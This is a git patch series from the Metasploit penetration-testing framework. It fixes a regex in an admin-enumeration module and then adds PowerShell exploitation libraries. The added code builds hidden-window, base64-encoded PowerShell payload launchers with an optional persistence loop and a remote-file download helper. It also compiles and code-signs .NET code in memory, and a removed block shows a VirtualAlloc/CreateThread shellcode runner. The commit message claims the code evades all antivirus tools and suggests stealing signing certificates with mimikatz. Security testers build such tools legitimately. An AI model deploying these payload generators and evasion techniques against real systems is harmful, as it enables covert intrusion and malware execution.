From 595e5387839d14cc9de8c692592e26ee96db6a01 Mon Sep 17 00:00:00 2001
From: g0tmi1k <g0tmi1k>
Date: Wed, 3 Jul 2013 00:43:08 +0100
Subject: [PATCH 001/108] post/local_admin_search_enum~Regex fails,module 2 If
 the regex fails then the entire moudle would too

---
 .../post/windows/gather/local_admin_search_enum.rb | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb
index 72cfcc8d7fb7..1e405d966943 100644
--- a/modules/post/windows/gather/local_admin_search_enum.rb
+++ b/modules/post/windows/gather/local_admin_search_enum.rb
@@ -21,7 +21,7 @@ def initialize(info={})
 		super(update_info(info,
 			'Name'         => 'Windows Gather Local Admin Search',
 			'Description'  => %q{
-					This module will identify systems in a given range that the
+				This module will identify systems in a given range that the
 				supplied domain user (should migrate into a user pid) has administrative
 				access to by using the Windows API OpenSCManagerA to establishing a handle
 				to the remote host. Additionally it can enumerate logged in users and group
@@ -80,10 +80,16 @@ def setup
 
 				# Check if RSOP data exists, if not disable group check
 				unless res =~ /does not have RSOP data./
-					@domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
+					dc_applied = /Group Policy was applied from:\s*(.*)\s*/.match(res)
+					if dc_applied
+						@domain_controller = dc_applied[1].strip
+					else
+						@dc_error = true
+						print_error("Could not read RSOP data, will not enumerate users and groups. Manually specify DC.")
+					end
 				else
 					@dc_error = true
-					print_error("User never logged into device, will not enumerate groups or manually specify DC.")
+					print_error("User never logged into device, will not enumerate users and groups. Manually specify DC.")
 				end
 			end
 		end
@@ -255,4 +261,4 @@ def db_loot(host, user, type)
 		p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
 		vprint_status("User data stored in: #{p}")
 	end
-end
\ No newline at end of file
+end

From 4554cc6e514540b8115a579fa282f25ce74596cf Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Thu, 4 Jul 2013 12:44:44 -0400
Subject: [PATCH 002/108] Import Powershell libs and modules (again)

Add Rex powershell parser:
 reads PSH, determines functions, variables, blocks
 compresses and cleans up the code it's read, obfuscates
 handles string literals and reserved variable names
 extracts code blocks and functions for reuse
  turns powersploit into a useful sub-component for MSF
Rewire Msf powershell modules
 Make use of Rex parser
 Handles payload generation, substituions
 Brings convenience methods - byte array generation and download
 Re-add .NET compiler
  Compiles .NET code (C#/VB.NET) in memory
  Can generate binary output file (dynamic persistence)
  Handles code-signing (steal cert with mimikatz, sign your bin)
  Not detected by AV (still...)
 Update payload generation
  GZip compression and decompression (see Rex module as well)
  msftidy violations for space efficiency - each char counts
Re-submit psexec-psh
 Makes use of updated Msf and Rex modules
 Runs shellcode in-memory (in a hidden PSH window)
 Completely bypasses all AVs tested for the last year...
---
 lib/msf/core/exploit/powershell.rb            | 189 ++++++++
 lib/msf/core/exploit/powershell/dot_net.rb    | 172 ++++++++
 lib/msf/core/post/windows/powershell.rb       | 289 +++++++-----
 lib/msf/util/exe.rb                           | 161 ++++---
 lib/rex/exploitation/powershell.rb            | 412 ++++++++++++++++++
 modules/exploits/windows/smb/psexec_psh.rb    | 104 +++++
 .../windows/manage/powershell/exec_cmd.rb     |  77 ++++
 .../windows/manage/powershell/exec_script.rb  |  90 ++++
 8 files changed, 1286 insertions(+), 208 deletions(-)
 create mode 100644 lib/msf/core/exploit/powershell.rb
 create mode 100644 lib/msf/core/exploit/powershell/dot_net.rb
 create mode 100644 lib/rex/exploitation/powershell.rb
 create mode 100644 modules/exploits/windows/smb/psexec_psh.rb
 create mode 100644 modules/post/windows/manage/powershell/exec_cmd.rb
 create mode 100644 modules/post/windows/manage/powershell/exec_script.rb

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
new file mode 100644
index 000000000000..ac6653434306
--- /dev/null
+++ b/lib/msf/core/exploit/powershell.rb
@@ -0,0 +1,189 @@
+# -*- coding: binary -*-
+require 'rex/exploitation/powershell'
+
+module Msf
+module Exploit::Powershell
+
+	class PshScript < Rex::Exploitation::Powershell::Script
+	end
+
+	def initialize(info = {})
+		super
+		register_advanced_options(
+			[
+				OptBool.new('RUN_WOW64', [
+					false,
+					'Execute powershell in 32bit compatibility mode, payloads need native arch',
+					false
+						]),
+				OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
+				OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
+				OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
+				OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
+			], self.class)
+	end
+
+	#
+	# Reads script into a PshScript
+	#
+	def read_script(script)
+		return PshScript.new(script)
+	end
+
+	#
+	# Insert substitutions into the powershell script
+	#
+	def make_subs(script, subs)
+		if ::File.file?(script)
+			script = ::File.read(script)
+		end
+
+		subs.each do |set|
+			script.gsub!(set[0],set[1])
+		end
+		# if datastore['VERBOSE']
+		#   print_good("Final Script: ")
+		#   script.each_line {|l| print_status("\t#{l}")}
+		# end
+		return script
+	end
+
+	#
+	# Return an array of substitutions for use in make_subs
+	#
+	def process_subs(subs)
+		return [] if subs.nil? or subs.empty?
+		new_subs = []
+		subs.split(';').each do |set|
+			new_subs << set.split(',', 2)
+		end
+		return new_subs
+	end
+
+	#
+	# Return a gzip compressed powershell script
+	# Will invoke PSH modifiers as enabled
+	#
+	def compress_script(script_in, eof = nil)
+		# Build script object
+		psh = PshScript.new(script_in)
+		# Invoke enabled modifiers
+		datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
+			mod_method = k.split('::').last.intern
+			psh.send(mod_method)
+		end
+		return psh.compress_code(eof)
+	end
+
+	#
+	# Runs powershell in hidden window raising interactive proc msg
+	#
+	def run_hidden_psh(ps_code,ps_bin='powershell.exe')
+		ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
+
+		ps_wrapper = <<EOS
+$si = New-Object System.Diagnostics.ProcessStartInfo
+$si.FileName = "#{ps_bin}"
+$si.Arguments = '#{ps_args}'
+$si.UseShellExecute = $false
+$si.RedirectStandardOutput = $true
+$si.WindowStyle = 'Hidden'
+$si.CreateNoWindow = $True
+$p = [System.Diagnostics.Process]::Start($si)
+EOS
+
+		return ps_wrapper.gsub("\n",';')
+	end
+
+	#
+	# Creates cmd script to execute psh payload
+	#
+	def cmd_psh_payload(pay, old_psh=false)
+		# Allow powershell 1.0 format
+		if old_psh
+			psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
+		else
+			psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
+		end
+		# Run our payload in a while loop
+		if datastore['PERSIST']
+			fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
+			sleep_time = rand(5)+5
+			psh_payload  = "function #{fun_name}{#{psh_payload}};"
+			psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
+		end
+		# Determine appropriate architecture, manual method reduces script size
+		ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+		# Wrap in hidden runtime
+		psh_payload = run_hidden_psh(psh_payload,ps_bin)
+		# Convert to base64 for -encodedcommand execution
+		command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
+	end
+
+
+	#
+	# Useful method cache
+	#
+	module PshMethods
+
+		#
+		# Convert binary to byte array, read from file if able
+		#
+		def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+			code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+			code = code.unpack('C*')
+			psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+			lines = []
+			1.upto(code.length-1) do |byte|
+				if(byte % 10 == 0)
+					lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+				else
+					lines.push ",0x#{code[byte].to_s(16)}"
+				end
+			end
+
+			return psh << lines.join("") + "\r\n"
+		end
+
+		#
+		# Download file to host via PSH
+		#
+		def self.download(src,target=nil)
+			target ||= '$pwd\\' << src.split('/').last
+			return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
+		end
+
+		#
+		# Uninstall app
+		#
+		def self.uninstall(app,fuzzy=true)
+			match = fuzzy ? '-like' : '-eq'
+			return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
+		end
+
+		#
+		# Create secure string from plaintext
+		#
+		def self.secure_string(str)
+			return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
+		end
+
+		#
+		# MISC
+		#
+
+		#
+		# Find PID of file locker
+		#
+		def self.who_locked_file?(filename)
+			return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
+		end
+
+
+		def self.get_last_login(user)
+			return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
+		end
+	end
+end
+end
+
diff --git a/lib/msf/core/exploit/powershell/dot_net.rb b/lib/msf/core/exploit/powershell/dot_net.rb
new file mode 100644
index 000000000000..0369a7bd9ac3
--- /dev/null
+++ b/lib/msf/core/exploit/powershell/dot_net.rb
@@ -0,0 +1,172 @@
+# -*- coding: binary -*-
+
+module Msf
+  module Exploit::Powershell
+    module DotNet
+
+    	def initialize(info = {})
+    		super
+    		register_advanced_options(
+    		[
+    			OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
+
+    		], self.class)
+    	end
+
+    	def dot_net_compiler(opts = {})
+    		#TODO:
+    		# allow compilation entirely in memory with a b64 encoded product for export without disk access
+    		# Dynamically assign assemblies based on dot_net_code require/includes
+    		# 	Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
+
+    		# Critical
+    		dot_net_code = opts[:harness]
+    		if ::File.file?(dot_net_code)
+    			dot_net_code = ::File.read(dot_net_code)
+    			#vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
+    		end
+    		return if dot_net_code.nil? or dot_net_code.empty?
+
+    		# Ensure we're not running ASCII-8bit through powershell
+    		dot_net_code = dot_net_code.force_encoding('ASCII')
+
+    		# Optional
+    		provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
+    		target = opts[:target] # Unless building assemblies in memory only
+    		certificate = opts[:cert] # PFX certificate path
+    		payload = opts[:payload]
+
+    		assemblies = ["mscorlib.dll", "System.dll", "System.Xml.dll", "System.Data.dll", "System.Net.dll"]
+    		if opts[:assemblies]
+    			opts[:assemblies] = opts[:assemblies].split(',').map {|a| agsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
+    			assemblies += opts[:assemblies]
+    		end
+    		# 	# Read our code, attempt to find required assemblies
+    		# 	inc_var = provider == 'Microsoft.VisualBasic.VBCodeProvider' ? 'imports' : 'using'
+    		# 	assemblies =+ dot_net_code.split("\n").keep_if {|line| line =~ /^#{inc_var}.*;/i }.map do |dep|
+    		# 		dep[dep.index(/\s/)+1..-2] + '.dll'
+    		# 	end
+    		# end
+    		assemblies = assemblies.uniq.compact
+
+    		compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
+
+
+    		if payload
+    			dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
+    		end
+
+    		var_gen_exe = target ? '$true' : '$false'
+
+    		# Obfu
+    		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_refs = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_provider = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_params = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_output = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_cert = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    		compiler = <<EOS
+function #{var_func} {
+param (
+[string[]] $#{var_code}
+, [string[]] $references = @()
+)
+$#{var_provider} = New-Object #{provider}
+$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
+@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
+$#{var_params}.GenerateExecutable = #{var_gen_exe}
+$#{var_params}.OutputAssembly = "#{target}"
+$#{var_params}.GenerateInMemory   = $true
+$#{var_params}.CompilerOptions = "#{compiler_opts}"
+# $#{var_params}.IncludeDebugInformation = $true
+$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
+if ( $#{var_output}.Errors.Count -gt 0 ) {
+$#{var_output}.Errors |% { Write-Error $_.ToString() }
+} else { return $#{var_output}.CompiledAssembly}
+}
+#{var_func} -#{var_code} @'
+
+#{dot_net_code}
+
+'@
+
+EOS
+
+    		if certificate and target
+    			compiler << <<EOS
+#{var_cert} = Get-PfxCertificate #{certificate}
+Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
+
+
+EOS
+
+
+    		end
+    		# PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
+    		# x86 targets also need to be compiled in x86 powershell instance
+    		run_32 = compiler_opts =~ /platform:x86/i ? true : false
+    		if opts[:net_clr] and opts[:net_clr] > 2 # PS before 3.0 natively uses NET 2
+    			return elevate_net_clr(compiler, run_32, opts[:net_clr])
+    		else
+    			return compiler
+    		end
+
+    	end
+
+    	def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
+    		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
+    		var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    		exec_wrapper = <<EOS
+function #{var_func} {
+[CmdletBinding()]
+param (
+[Parameter(Mandatory=$true)]
+[ScriptBlock]
+$ScriptBlock
+)
+$#{var_run32} = $#{run_32.to_s}
+if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
+Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
+return
+}
+$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
+New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
+@"
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+<startup useLegacyV2RuntimeActivationPolicy="true">
+<supportedRuntime version="v#{net_ver.to_f}"/>
+<supportedRuntime version="v2.0.50727"/>
+</startup>
+</configuration>
+"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
+$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
+$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
+try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
+&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
+} else {
+&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
+}} finally {
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
+$#{var_conf_path} | Remove-Item -Recurse
+}
+}
+#{var_func} -ScriptBlock {
+#{ps_code}
+}
+
+
+EOS
+
+    	end
+
+    end
+  end
+end
diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb
index 405b35e8f652..b02b4bd55230 100644
--- a/lib/msf/core/post/windows/powershell.rb
+++ b/lib/msf/core/post/windows/powershell.rb
@@ -1,5 +1,5 @@
 # -*- coding: binary -*-
-require 'zlib'
+require 'msf/core/exploit/powershell'
 require 'msf/core/post/common'
 
 module Msf
@@ -7,13 +7,18 @@ class Post
 module Windows
 
 module Powershell
+	include ::Msf::Exploit::Powershell
 	include ::Msf::Post::Common
 
-
-	# List of running processes, open channels, and env variables...
-
-
-	# Suffix for environment variables
+	def initialize(info = {})
+		super
+		register_advanced_options(
+			[
+				OptInt.new('PSH::timeout',   [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
+				OptBool.new('PSH::log_output', [true, 'Write output to log file', false]),
+				OptBool.new('PSH::dry_run', [true, 'Write output to log file', false]),
+			], self.class)
+	end
 
 	#
 	# Returns true if powershell is installed
@@ -25,108 +30,51 @@ def have_powershell?
 	end
 
 	#
-	# Insert substitutions into the powershell script
-	#
-	def make_subs(script, subs)
-		subs.each do |set|
-			script.gsub!(set[0],set[1])
-		end
-		if datastore['VERBOSE']
-			print_good("Final Script: ")
-			script.each_line {|l| print_status("\t#{l}")}
-		end
-	end
-
-	#
-	# Return an array of substitutions for use in make_subs
-	#
-	def process_subs(subs)
-		return [] if subs.nil? or subs.empty?
-		new_subs = []
-		subs.split(';').each do |set|
-			new_subs << set.split(',', 2)
-		end
-		return new_subs
-	end
-
-	#
-	# Read in a powershell script stored in +script+
-	#
-	def read_script(script)
-		script_in = ''
-		begin
-			# Open script file for reading
-			fd = ::File.new(script, 'r')
-			while (line = fd.gets)
-				script_in << line
-			end
-
-			# Close open file
-			fd.close()
-		rescue Errno::ENAMETOOLONG, Errno::ENOENT
-			# Treat script as a... script
-			script_in = script
-		end
-		return script_in
-	end
-
-
-	#
-	# Return a zlib compressed powershell script
+	# Get/compare list of current PS processes - nested execution can spawn many children
+	# doing checks before and after execution allows us to kill more children...
+	# This is a hack, better solutions are welcome since this could kill user
+	# spawned powershell windows created between comparisons.
 	#
-	def compress_script(script_in, eof = nil)
-
-		# Compress using the Deflate algorithm
-		compressed_stream = ::Zlib::Deflate.deflate(script_in,
-			::Zlib::BEST_COMPRESSION)
-
-		# Base64 encode the compressed file contents
-		encoded_stream = Rex::Text.encode_base64(compressed_stream)
-
-		# Build the powershell expression
-		# Decode base64 encoded command and create a stream object
-		psh_expression =  "$stream = New-Object IO.MemoryStream(,"
-		psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
-		# Read & delete the first two bytes due to incompatibility with MS
-		psh_expression += "$stream.ReadByte()|Out-Null;"
-		psh_expression += "$stream.ReadByte()|Out-Null;"
-		# Uncompress and invoke the expression (execute)
-		psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
-		psh_expression += "$(New-Object IO.Compression.DeflateStream("
-		psh_expression += "$stream,"
-		psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
-		psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
-
-		# If eof is set, add a marker to signify end of script output
-		if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
-
-		# Convert expression to unicode
-		unicode_expression = Rex::Text.to_unicode(psh_expression)
-
-		# Base64 encode the unicode expression
-		encoded_expression = Rex::Text.encode_base64(unicode_expression)
-
-		return encoded_expression
+	def get_ps_pids(pids = [])
+		current_pids = session.sys.process.get_processes.keep_if {|p|
+			p['name'].downcase == 'powershell.exe'
+		}.map {|p| p['pid']}
+		# Subtract previously known pids
+		current_pids = (current_pids - pids).uniq
+		return current_pids
 	end
 
 	#
-	# Execute a powershell script and return the results. The script is never written
-	# to disk.
+	# Execute a powershell script and return the output, channels, and pids. The script
+	# is never written to disk.
 	#
-	def execute_script(script, time_out = 15)
-		running_pids, open_channels = [], []
+	def execute_script(script, greedy_kill = false)
+		@session_pids ||= []
+		running_pids = greedy_kill ? get_ps_pids : []
+		open_channels = []
 		# Execute using -EncodedCommand
-		session.response_timeout = time_out
-		cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
-			"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
+		session.response_timeout = datastore['PSH::timeout'].to_i
+		ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+		ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
+		# vprint_good("EXECUTING:\n#{ps_string}")
+		cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
+
+		# Subtract prior PIDs from current
+		if greedy_kill
+			Rex::ThreadSafe.sleep(3) # Let PS start child procs
+			running_pids = get_ps_pids(running_pids)
+		end
 
 		# Add to list of running processes
 		running_pids << cmd_out.pid
 
+		# All pids start here, so store them in a class variable
+		(@session_pids += running_pids).uniq!
+
 		# Add to list of open channels
 		open_channels << cmd_out
 
-		return [cmd_out, running_pids, open_channels]
+		return [cmd_out, running_pids.uniq, open_channels]
 	end
 
 
@@ -163,8 +111,7 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
 
 			# Stage the payload
 			print_good(" - Bytes remaining: #{compressed_script.size - index}")
-			execute_script(encoded_stager)
-
+			cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
 			# Increment index
 			index += count
 
@@ -184,51 +131,104 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
 	end
 
 	#
-	# Log the results of the powershell script
+	# Reads output of the command channel and empties the buffer.
+	# Will optionally log command output to disk.
 	#
-	def write_to_log(cmd_out, log_file, eof)
-		# Open log file for writing
-		fd = ::File.new(log_file, 'w+')
+	def get_ps_output(cmd_out, eof, read_wait = 5)
+		results = ''
+
+		if datastore['PSH::log_output']
+			# Get target's computer name
+			computer_name = session.sys.config.sysinfo['Computer']
+
+			# Create unique log directory
+			log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
+			::FileUtils.mkdir_p(log_dir)
+
+			# Define log filename
+			time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
+			log_file    = ::File.join(log_dir,"#{time_stamp}.txt")
 
-		# Read output until eof and write to log
-		while (line = cmd_out.channel.read())
+
+			# Open log file for writing
+			fd = ::File.new(log_file, 'w+')
+		end
+
+		# Read output until eof or nil return output and write to log
+		while (1)
+			line = ::Timeout.timeout(read_wait) {
+				cmd_out.channel.read
+			} rescue nil
+			break if line.nil?
 			if (line.sub!(/#{eof}/, ''))
-				fd.write(line)
-				vprint_good("\t#{line}")
-				cmd_out.channel.close()
+				results << line
+				fd.write(line) if fd
+				#vprint_good("\t#{line}")
 				break
 			end
-			fd.write(line)
-			vprint_good("\t#{line}")
+			results << line
+			fd.write(line) if fd
+			#vprint_status("\n#{line}")
 		end
 
 		# Close log file
-		fd.close()
-
-		return
+		# cmd_out.channel.close()
+		fd.close() if fd
+
+		return results
+
+		#
+		# Incremental read method - NOT USED
+		#
+		# read_data = ''
+		# 	segment = 2**16
+		# 	# Read incrementally smaller blocks after each failure/timeout
+		# 	while segment > 0 do
+		# 		begin
+		# 			read_data << ::Timeout.timeout(read_wait) {
+		# 				cmd_out.channel.read(segment)
+		# 			}
+		# 		rescue
+		# 			segment = segment/2
+		# 		end
+		# 	end
 	end
 
 	#
 	# Clean up powershell script including process and chunks stored in environment variables
 	#
-	def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
+	def clean_up(
+		script_file = nil,
+		eof = '',
+		running_pids =[],
+		open_channels = [],
+		env_suffix = Rex::Text.rand_text_alpha(8),
+		delete = false
+	)
 		# Remove environment variables
 		env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
 		env_del_command += "Select-String #{env_suffix}|%{"
 		env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
-		script = compress_script(env_del_command, eof)
-		cmd_out, running_pids, open_channels = *execute_script(script)
-		write_to_log(cmd_out, "/dev/null", eof)
 
-		# Kill running processes
-		running_pids.each() do |pid|
-			session.sys.process.kill(pid)
+		script = compress_script(env_del_command, eof)
+		cmd_out, new_running_pids, new_open_channels = execute_script(script)
+		get_ps_output(cmd_out, eof)
+
+		# Kill running processes, should mutex this...
+		@session_pids = (@session_pids + running_pids + new_running_pids).uniq
+		(running_pids + new_running_pids).uniq.each do |pid|
+			begin
+				session.sys.process.kill(pid)
+				@session_pids.delete(pid)
+			rescue Rex::Post::Meterpreter::RequestError => e
+				print_error "Failed to kill #{pid} due to #{e}"
+			end
 		end
 
 
 		# Close open channels
-		open_channels.each() do |chan|
-			chan.channel.close()
+		(open_channels + new_open_channels).uniq.each do |chan|
+			chan.channel.close
 		end
 
 		::File.delete(script_file) if (script_file and delete)
@@ -236,6 +236,55 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
 		return
 	end
 
+	#
+	# Simple script execution wrapper, performs all steps
+	# required to execute a string of powershell.
+	# This method will try to kill all powershell.exe PIDs
+	# which appeared during its execution, set greedy_kill
+	# to false if this is not desired.
+	#
+	def psh_exec(script, greedy_kill=true, ps_cleanup=true)
+		# Define vars
+		eof = Rex::Text.rand_text_alpha(8)
+		# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
+		env_suffix = Rex::Text.rand_text_alpha(8)
+		script = PshScript.new(script) unless script.respond_to?(:compress_code)
+		# Check format
+		if script =~ /\s|\.|\;/
+			script = compress_script(script, eof)
+		end
+		if datastore['PSH::dry_run']
+			return "powershell -EncodedCommand #{script}"
+		else
+			# Check 8k cmd buffer limit, stage if needed
+			if (script.size > 8100)
+				vprint_error("Compressed size: #{script.size}")
+				error_msg =  "Compressed size may cause command to exceed "
+				error_msg += "cmd.exe's 8kB character limit."
+				vprint_error(error_msg)
+				vprint_good('Launching stager:')
+				script = stage_to_env(script, env_suffix)
+				print_good("Payload successfully staged.")
+			else
+				print_good("Compressed size: #{script.size}")
+			end
+			# Execute the script, get the output, and kill the resulting PIDs
+			cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
+			if datastore['PSH::timeout'].to_i < 0
+				out =  'Started async execution, output collection and cleanup will not be performed'
+				print_error out
+				return out
+			end
+			ps_output = get_ps_output(cmd_out,eof,datastore['PSH::timeout'])
+			# Kill off the resulting processes if needed
+			if ps_cleanup
+				vprint_good( "Cleaning up #{running_pids.join(', ')}" )
+				clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
+			end
+			return ps_output
+		end
+	end
+
 end
 end
 end
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index 08412cb2baad..168b68dadde0 100755
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -1147,94 +1147,79 @@ def self.to_exe_aspx(exes = '', opts={})
 		source
 	end
 
-	def self.to_win32pe_psh_net(framework, code, opts={})
-		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_output = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
-
-		code = code.unpack('C*')
-		psh = "Set-StrictMode -Version 2\r\n"
-		psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
-		psh << "namespace #{var_kernel32} {\r\n"
-		psh << "public class func {\r\n"
-		psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
-		psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
-		psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
-		psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
-		psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
-		psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
-		psh << "} }\r\n"
-		psh << "\"@\r\n\r\n"
-		psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
-		psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
-		psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
-		psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
-		psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
-
-		psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
-		lines = []
-		1.upto(code.length-1) do |byte|
-			if(byte % 10 == 0)
-				lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
-			else
-				lines.push ",0x#{code[byte].to_s(16)}"
-			end
-		end
-		psh << lines.join("") + "\r\n\r\n"
-
-		psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
